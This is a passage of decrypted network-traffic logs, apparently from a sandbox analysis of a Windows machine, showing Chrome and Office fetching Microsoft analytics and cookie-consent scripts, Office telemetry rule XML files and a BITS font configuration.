2024-12-07 16:36:16 UTC	16384	IN	Data Raw: 6c 3a 31 2c 43 72 69 74 69 63 61 6c 3a 32 7d 29 2c 75 6e 64 65 66 69 6e 65 64 2c 75 6e 64 65 66 69 6e 65 64 29 2c 53 6c 3d 22 22 3b 66 75 6e 63 74 69 6f 6e 20 78 6c 28 65 29 7b 74 72 79 7b 69 66 28 6f 65 28 6f 74 28 29 29 29 72 65 74 75 72 6e 20 6e 75 6c 6c 3b 76 61 72 20 74 3d 28 6e 65 77 20 44 61 74 65 29 5b 4f 73 5d 28 29 2c 6e 3d 66 65 28 65 3d 3d 3d 45 6c 2e 4c 6f 63 61 6c 53 74 6f 72 61 67 65 3f 22 6c 6f 63 61 6c 53 74 6f 72 61 67 65 22 3a 22 73 65 73 73 69 6f 6e 53 74 6f 72 61 67 65 22 29 2c 72 3d 53 6c 2b 74 2c 69 3d 28 6e 2e 73 65 74 49 74 65 6d 28 72 2c 74 29 2c 6e 2e 67 65 74 49 74 65 6d 28 72 29 21 3d 3d 74 29 3b 69 66 28 6e 5b 52 73 5d 28 72 29 2c 21 69 29 72 65 74 75 72 6e 20 6e 7d 63 61 74 63 68 28 61 29 7b 7d 72 65 74 75 72 6e 20 6e 75 6c Data Ascii: l:1,Critical:2}),undefined,undefined),Sl="";function xl(e){try{if(oe(ot()))return null;var t=(new Date)[Os](),n=fe(e===El.LocalStorage?"localStorage":"sessionStorage"),r=Sl+t,i=(n.setItem(r,t),n.getItem(r)!==t);if(n[Rs](r),!i)return n}catch(a){}return nul
2024-12-07 16:36:16 UTC	16384	IN	Data Raw: 6f 20 74 72 61 63 6b 20 70 61 67 65 20 76 69 73 69 74 20 74 69 6d 65 20 66 61 69 6c 65 64 2c 20 6d 65 74 72 69 63 20 77 69 6c 6c 20 6e 6f 74 20 62 65 20 63 6f 6c 6c 65 63 74 65 64 3a 20 22 2b 63 65 28 72 29 29 7d 7d 2c 59 28 65 2c 22 5f 6c 6f 67 67 65 72 22 2c 7b 67 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 6f 7d 7d 29 2c 59 28 65 2c 22 70 61 67 65 56 69 73 69 74 54 69 6d 65 54 72 61 63 6b 69 6e 67 48 61 6e 64 6c 65 72 22 2c 7b 67 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 63 7d 7d 29 7d 29 7d 76 61 72 20 4e 64 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 74 68 69 73 5b 67 64 5d 3d 50 74 28 29 2c 74 68 69 73 2e 70 61 67 65 4e 61 6d 65 3d 65 2c 74 68 69 73 2e 70 61 67 65 55 72 6c 3d 74 7d 2c 44 64 3d 66 75 6e 63 74 69 6f 6e 28 Data Ascii: o track page visit time failed, metric will not be collected: "+ce(r))}},Y(e,"_logger",{g:function(){return o}}),Y(e,"pageVisitTimeTrackingHandler",{g:function(){return c}})})}var Nd=function(e,t){this[gd]=Pt(),this.pageName=e,this.pageUrl=t},Dd=function(
2024-12-07 16:36:16 UTC	16384	IN	Data Raw: 63 6f 72 65 44 61 74 61 2c 22 62 65 68 61 76 69 6f 72 22 29 2c 75 65 28 6e 2e 70 61 67 65 54 79 70 65 29 26 26 28 65 2e 70 61 67 65 54 79 70 65 3d 6e 2e 70 61 67 65 54 79 70 65 29 2c 75 65 28 72 2e 5f 70 61 67 65 54 79 70 65 4d 65 74 61 54 61 67 29 26 26 21 75 65 28 65 2e 70 61 67 65 54 79 70 65 29 26 26 28 65 2e 70 61 67 65 54 79 70 65 3d 72 2e 5f 70 61 67 65 54 79 70 65 4d 65 74 61 54 61 67 29 2c 75 65 28 72 2e 5f 6d 61 72 6b 65 74 4d 65 74 61 54 61 67 29 26 26 28 65 2e 6d 61 72 6b 65 74 3d 72 2e 5f 6d 61 72 6b 65 74 4d 65 74 61 54 61 67 29 2c 65 2e 69 73 4c 6f 67 67 65 64 49 6e 3d 47 64 28 72 2e 5f 63 6f 6e 66 69 67 29 2c 74 2e 63 6f 6f 6b 69 65 45 6e 61 62 6c 65 64 3d 6f 63 28 29 7d 2c 69 70 2e 70 72 6f 74 6f 74 79 70 65 2e 5f 73 65 74 50 61 67 65 54 Data Ascii: coreData,"behavior"),ue(n.pageType)&&(e.pageType=n.pageType),ue(r._pageTypeMetaTag)&&!ue(e.pageType)&&(e.pageType=r._pageTypeMetaTag),ue(r._marketMetaTag)&&(e.market=r._marketMetaTag),e.isLoggedIn=Gd(r._config),t.cookieEnabled=oc()},ip.prototype._setPageT
2024-12-07 16:36:16 UTC	16384	IN	Data Raw: 6e 21 30 3b 72 65 74 75 72 6e 21 31 7d 2c 41 70 2e 70 72 6f 74 6f 74 79 70 65 2e 5f 69 73 54 72 61 63 6b 65 64 57 69 74 68 44 61 74 61 42 69 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 66 6f 72 28 76 61 72 20 74 3d 65 2e 61 74 74 72 69 62 75 74 65 73 2c 6e 3d 30 3b 6e 3c 74 2e 6c 65 6e 67 74 68 3b 6e 2b 2b 29 69 66 28 7e 74 5b 6e 5d 2e 6e 61 6d 65 2e 69 6e 64 65 78 4f 66 28 22 64 61 74 61 2d 62 69 2d 22 29 29 72 65 74 75 72 6e 21 30 3b 72 65 74 75 72 6e 21 31 7d 2c 41 70 2e 70 72 6f 74 6f 74 79 70 65 2e 5f 69 73 54 72 61 63 6b 65 64 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 66 6f 72 28 76 61 72 20 74 3d 65 2e 61 74 74 72 69 62 75 74 65 73 2c 6e 3d 30 3b 6e 3c 74 2e 6c 65 6e 67 74 68 3b 6e 2b 2b 29 69 66 28 22 64 61 74 61 2d 6d 22 3d 3d 3d 74 5b 6e 5d 2e 6e 61 6d Data Ascii: n!0;return!1},Ap.prototype._isTrackedWithDataBi=function(e){for(var t=e.attributes,n=0;n<t.length;n++)if(~t[n].name.indexOf("data-bi-"))return!0;return!1},Ap.prototype._isTracked=function(e){for(var t=e.attributes,n=0;n<t.length;n++)if("data-m"===t[n].nam
2024-12-07 16:36:16 UTC	16384	IN	Data Raw: 75 74 68 54 6f 6b 65 6e 22 2c 61 3d 22 41 75 74 68 58 54 6f 6b 65 6e 22 2c 67 67 3d 22 6d 73 66 70 63 22 2c 76 67 3d 22 75 73 65 72 22 2c 68 67 3d 22 61 6c 6c 6f 77 52 65 71 75 65 73 74 53 65 6e 64 69 6e 67 22 2c 6d 67 3d 22 66 69 72 73 74 52 65 71 75 65 73 74 53 65 6e 74 22 2c 79 67 3d 22 73 68 6f 75 6c 64 41 64 64 43 6c 6f 63 6b 53 6b 65 77 48 65 61 64 65 72 73 22 2c 43 67 3d 22 67 65 74 43 6c 6f 63 6b 53 6b 65 77 48 65 61 64 65 72 56 61 6c 75 65 22 2c 62 67 3d 22 73 65 74 43 6c 6f 63 6b 53 6b 65 77 22 2c 79 65 3d 22 6c 65 6e 67 74 68 22 2c 54 67 3d 22 63 6f 6e 63 61 74 22 2c 49 67 3d 22 69 4b 65 79 22 2c 45 67 3d 22 63 6f 75 6e 74 22 2c 5f 67 3d 22 65 76 65 6e 74 73 22 2c 53 67 3d 22 70 75 73 68 22 2c 78 67 3d 22 73 70 6c 69 74 22 2c 4e 67 3d 22 73 70 Data Ascii: uthToken",a="AuthXToken",gg="msfpc",vg="user",hg="allowRequestSending",mg="firstRequestSent",yg="shouldAddClockSkewHeaders",Cg="getClockSkewHeaderValue",bg="setClockSkew",ye="length",Tg="concat",Ig="iKey",Eg="count",_g="events",Sg="push",xg="split",Ng="sp
2024-12-07 16:36:16 UTC	16384	IN	Data Raw: 29 29 2c 65 5b 6c 76 5d 26 26 28 65 5b 6c 76 5d 3d 65 61 28 65 5b 6c 76 5d 29 29 29 7d 66 75 6e 63 74 69 6f 6e 20 61 28 65 2c 74 29 7b 69 66 28 65 5b 79 76 5d 7c 7c 28 65 5b 79 76 5d 3d 30 29 2c 65 5b 43 76 5d 7c 7c 28 65 5b 43 76 5d 3d 31 29 2c 6c 28 65 29 2c 65 5b 62 76 5d 29 69 66 28 55 7c 7c 61 65 29 65 5b 43 76 5d 3d 33 2c 65 5b 62 76 5d 3d 21 31 3b 65 6c 73 65 20 69 66 28 48 29 72 65 74 75 72 6e 20 57 26 26 28 65 3d 65 61 28 65 29 29 2c 48 5b 72 76 5d 28 45 76 2e 63 72 65 61 74 65 28 65 5b 49 67 5d 2c 5b 65 5d 29 2c 21 30 3d 3d 3d 65 5b 62 76 5d 3f 31 3a 65 5b 62 76 5d 2c 33 29 3b 76 61 72 20 6e 3d 65 5b 43 76 5d 2c 72 3d 63 65 2c 69 3d 52 2c 61 3d 28 34 3d 3d 3d 6e 26 26 28 72 3d 6f 65 2c 69 3d 4f 29 2c 21 31 29 3b 72 3c 69 3f 61 3d 21 43 28 65 2c Data Ascii: )),e[lv]&&(e[lv]=ea(e[lv])))}function a(e,t){if(e[yv]\|\|(e[yv]=0),e[Cv]\|\|(e[Cv]=1),l(e),e[bv])if(U\|\|ae)e[Cv]=3,e[bv]=!1;else if(H)return W&&(e=ea(e)),H[rv](Ev.create(e[Ig],[e]),!0===e[bv]?1:e[bv],3);var n=e[Cv],r=ce,i=R,a=(4===n&&(r=oe,i=O),!1);r<i?a=!C(e,

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
136	192.168.2.7	49863	13.107.246.63	443	3628	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-07 16:36:15 UTC	551	OUT	GET /mscc/lib/v2/wcp-consent.js HTTP/1.1 Host: wcpstatic.microsoft.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://learn.microsoft.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-07 16:36:16 UTC	713	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 16:36:15 GMT Content-Type: application/javascript Content-Length: 52717 Connection: close Access-Control-Allow-Origin: * Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Length,Date,Transfer-Encoding Age: 34241 Cache-Control: max-age=43200 Content-MD5: QT/MdZzBmCG2G2lBgIsptQ== Etag: 0x8DA85F6F74C6D08 Last-Modified: Wed, 24 Aug 2022 17:34:58 GMT Vary: Accept-Encoding X-Cache: CONFIG_NOCACHE x-ms-blob-type: BlockBlob x-ms-lease-status: unlocked x-ms-request-id: ea66b457-501e-0014-5576-4888b0000000 x-ms-version: 2009-09-19 x-azure-ref: 20241207T163615Z-r1cf579d778dfdgnhC1EWRd3w000000002n0000000006tp1 Accept-Ranges: bytes
2024-12-07 16:36:16 UTC	15671	IN	Data Raw: 76 61 72 20 57 63 70 43 6f 6e 73 65 6e 74 3b 21 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 65 3d 7b 32 32 39 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 77 69 6e 64 6f 77 2c 65 2e 65 78 70 6f 72 74 73 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 7b 7d 3b 66 75 6e 63 74 69 6f 6e 20 6f 28 6e 29 7b 69 66 28 74 5b 6e 5d 29 72 65 74 75 72 6e 20 74 5b 6e 5d 2e 65 78 70 6f 72 74 73 3b 76 61 72 20 72 3d 74 5b 6e 5d 3d 7b 69 3a 6e 2c 6c 3a 21 31 2c 65 78 70 6f 72 74 73 3a 7b 7d 7d 3b 72 65 74 75 72 6e 20 65 5b 6e 5d 2e 63 61 6c 6c 28 72 2e 65 78 70 6f 72 74 73 2c 72 2c 72 2e 65 78 70 6f 72 74 73 2c 6f 29 2c 72 2e 6c 3d 21 30 2c 72 2e 65 78 70 6f 72 74 73 7d 72 65 74 75 72 6e 20 6f 2e 6d 3d 65 2c 6f 2e 63 3d 74 2c 6f 2e 64 3d 66 75 6e 63 74 69 6f 6e 28 65 Data Ascii: var WcpConsent;!function(){var e={229:function(e){window,e.exports=function(e){var t={};function o(n){if(t[n])return t[n].exports;var r=t[n]={i:n,l:!1,exports:{}};return e[n].call(r.exports,r,r.exports,o),r.l=!0,r.exports}return o.m=e,o.c=t,o.d=function(e
2024-12-07 16:36:16 UTC	16384	IN	Data Raw: 29 7b 72 65 74 75 72 6e 20 65 3f 65 2e 72 65 70 6c 61 63 65 28 2f 26 2f 67 2c 22 26 61 6d 70 3b 22 29 2e 72 65 70 6c 61 63 65 28 2f 3c 2f 67 2c 22 26 6c 74 3b 22 29 2e 72 65 70 6c 61 63 65 28 2f 3e 2f 67 2c 22 26 67 74 3b 22 29 2e 72 65 70 6c 61 63 65 28 2f 22 2f 67 2c 22 26 71 75 6f 74 3b 22 29 2e 72 65 70 6c 61 63 65 28 2f 27 2f 67 2c 22 26 23 30 33 39 3b 22 29 3a 22 22 7d 2c 65 7d 28 29 2c 61 3d 6e 2e 6c 6f 63 61 6c 73 2c 6c 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 65 28 65 2c 74 2c 6f 2c 6e 2c 72 2c 69 2c 61 29 7b 74 68 69 73 2e 64 69 72 65 63 74 69 6f 6e 3d 22 6c 74 72 22 2c 74 68 69 73 2e 70 72 65 76 69 6f 75 73 46 6f 63 75 73 45 6c 65 6d 65 6e 74 42 65 66 6f 72 65 50 6f 70 75 70 3d 6e 75 6c 6c 2c 74 68 69 73 2e 63 6f 6f 6b 69 Data Ascii: ){return e?e.replace(/&/g,"&").replace(/</g,"<").replace(/>/g,">").replace(/"/g,""").replace(/'/g,"'"):""},e}(),a=n.locals,l=function(){function e(e,t,o,n,r,i,a){this.direction="ltr",this.previousFocusElementBeforePopup=null,this.cooki
2024-12-07 16:36:16 UTC	16384	IN	Data Raw: 6f 72 22 5d 2b 22 20 21 69 6d 70 6f 72 74 61 6e 74 3b 5c 6e 20 20 20 20 20 20 20 20 7d 22 2c 74 2b 3d 27 69 6e 70 75 74 5b 74 79 70 65 3d 22 72 61 64 69 6f 22 5d 2e 27 2b 63 2e 63 6f 6f 6b 69 65 49 74 65 6d 52 61 64 69 6f 42 74 6e 2b 22 20 2b 20 6c 61 62 65 6c 3a 68 6f 76 65 72 3a 3a 61 66 74 65 72 20 7b 5c 6e 20 20 20 20 20 20 20 20 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 22 2b 65 5b 22 72 61 64 69 6f 2d 62 75 74 74 6f 6e 2d 68 6f 76 65 72 2d 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 22 5d 2b 22 20 21 69 6d 70 6f 72 74 61 6e 74 3b 5c 6e 20 20 20 20 20 20 20 20 7d 22 2c 74 2b 3d 27 69 6e 70 75 74 5b 74 79 70 65 3d 22 72 61 64 69 6f 22 5d 2e 27 2b 63 2e 63 6f 6f 6b 69 65 49 74 65 6d 52 61 64 69 6f 42 74 6e 2b 22 20 2b 20 6c Data Ascii: or"]+" !important;\n }",t+='input[type="radio"].'+c.cookieItemRadioBtn+" + label:hover::after {\n background-color: "+e["radio-button-hover-background-color"]+" !important;\n }",t+='input[type="radio"].'+c.cookieItemRadioBtn+" + l
2024-12-07 16:36:16 UTC	4278	IN	Data Raw: 65 6d 65 6e 74 42 79 49 64 28 22 77 63 70 43 6f 6e 73 65 6e 74 42 61 6e 6e 65 72 43 74 72 6c 22 29 7d 2c 65 2e 65 6d 69 74 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 66 6f 72 28 76 61 72 20 74 3d 5b 5d 2c 6f 3d 31 3b 6f 3c 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 3b 6f 2b 2b 29 74 5b 6f 2d 31 5d 3d 61 72 67 75 6d 65 6e 74 73 5b 6f 5d 3b 76 61 72 20 6e 3d 74 68 69 73 2e 65 76 65 6e 74 73 5b 65 5d 3b 6e 26 26 6e 2e 66 6f 72 45 61 63 68 28 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 61 70 70 6c 79 28 6e 75 6c 6c 2c 74 29 7d 29 29 7d 2c 65 2e 70 72 6f 74 6f 74 79 70 65 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6f 29 7b 65 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 3f 65 2e 61 64 64 45 76 65 6e 74 Data Ascii: ementById("wcpConsentBannerCtrl")},e.emit=function(e){for(var t=[],o=1;o<arguments.length;o++)t[o-1]=arguments[o];var n=this.events[e];n&&n.forEach((function(e){e.apply(null,t)}))},e.prototype.addEventListener=function(e,t,o){e.addEventListener?e.addEvent

Session ID	Source IP	Source Port	Destination IP	Destination Port
137	192.168.2.7	49864	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 16:36:15 UTC	192	OUT	GET /rules/rule702500v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 16:36:16 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 16:36:16 GMT Content-Type: text/xml Content-Length: 1378 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:36 GMT ETag: "0x8DC582BDB813B3F" x-ms-request-id: af039603-701e-005c-3603-48bb94000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T163616Z-r1cf579d7789trgthC1EWRkkfc00000003k00000000047r0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 16:36:16 UTC	1378	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 69 6c 69 74 79 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 6f 67 72 61 6d 6d 61 62 69 6c 69 74 79 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702500" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Programmability" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenProgrammability" S="Medium" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
138	192.168.2.7	49865	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 16:36:16 UTC	192	OUT	GET /rules/rule700501v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 16:36:16 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 16:36:16 GMT Content-Type: text/xml Content-Length: 1405 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:58 GMT ETag: "0x8DC582BE89A8F82" x-ms-request-id: be723ded-701e-0021-0f06-483d45000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T163616Z-r1cf579d7789trgthC1EWRkkfc00000003gg0000000069cb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 16:36:16 UTC	1405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 35 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 6f 77 65 72 50 6f 69 6e 74 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700501" V="1" DC="SM" EN="Office.Telemetry.Event.Office.PowerPoint.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToke

Session ID	Source IP	Source Port	Destination IP	Destination Port
139	192.168.2.7	49866	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 16:36:16 UTC	192	OUT	GET /rules/rule700500v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 16:36:16 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 16:36:16 GMT Content-Type: text/xml Content-Length: 1368 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:53 GMT ETag: "0x8DC582BE51CE7B3" x-ms-request-id: 1e99177e-901e-0029-5406-48274a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T163616Z-r1cf579d778kr8xrhC1EWRfkun00000003b00000000040ca x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 16:36:16 UTC	1368	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 35 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 6f 77 65 72 50 6f 69 6e 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 6f 77 65 72 50 6f 69 6e 74 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700500" V="1" DC="SM" EN="Office.Telemetry.Event.Office.PowerPoint" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPowerPoint" S="Medium" /> <F T=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
140	192.168.2.7	49869	2.16.229.162	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 16:36:16 UTC	239	OUT	GET /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMT Range: bytes=0-2147483646 User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-12-07 16:36:17 UTC	535	IN	HTTP/1.1 200 OK Content-Type: application/octet-stream Last-Modified: Tue, 16 May 2017 22:58:00 GMT ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" ApiVersion: Distribute 1.1 Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json X-Azure-Ref: 0WwMRYwAAAABe7whxSEuqSJRuLqzPsqCaTE9OMjFFREdFMTcxNQBjZWZjMjU4My1hOWIyLTQ0YTctOTc1NS1iNzZkMTdlMDVmN2Y= Cache-Control: public, max-age=191358 Date: Sat, 07 Dec 2024 16:36:16 GMT Content-Length: 55 Connection: close X-CID: 2
2024-12-07 16:36:17 UTC	55	IN	Data Raw: 7b 22 66 6f 6e 74 53 65 74 55 72 69 22 3a 22 66 6f 6e 74 73 65 74 2d 32 30 31 37 2d 30 34 2e 6a 73 6f 6e 22 2c 22 62 61 73 65 55 72 69 22 3a 22 66 6f 6e 74 73 22 7d Data Ascii: {"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Session ID	Source IP	Source Port	Destination IP	Destination Port
141	192.168.2.7	49867	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 16:36:16 UTC	192	OUT	GET /rules/rule702551v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 16:36:17 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 16:36:17 GMT Content-Type: text/xml Content-Length: 1415 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:39 GMT ETag: "0x8DC582BDCE9703A" x-ms-request-id: 8337024b-c01e-0079-5d05-48e51a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T163617Z-r1cf579d778d5zkmhC1EWRk6h800000003ag000000004uta x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 16:36:17 UTC	1415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 73 6f 6e 61 6c 69 7a 61 74 69 6f 6e 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702551" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Personalization.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenan

Session ID	Source IP	Source Port	Destination IP	Destination Port
142	192.168.2.7	49868	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 16:36:16 UTC	192	OUT	GET /rules/rule702550v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 16:36:17 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 16:36:17 GMT Content-Type: text/xml Content-Length: 1378 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:53 GMT ETag: "0x8DC582BE584C214" x-ms-request-id: 40072cf2-b01e-001e-4a03-480214000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T163617Z-r1cf579d778dc6d7hC1EWR2vs800000003mg000000001n95 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
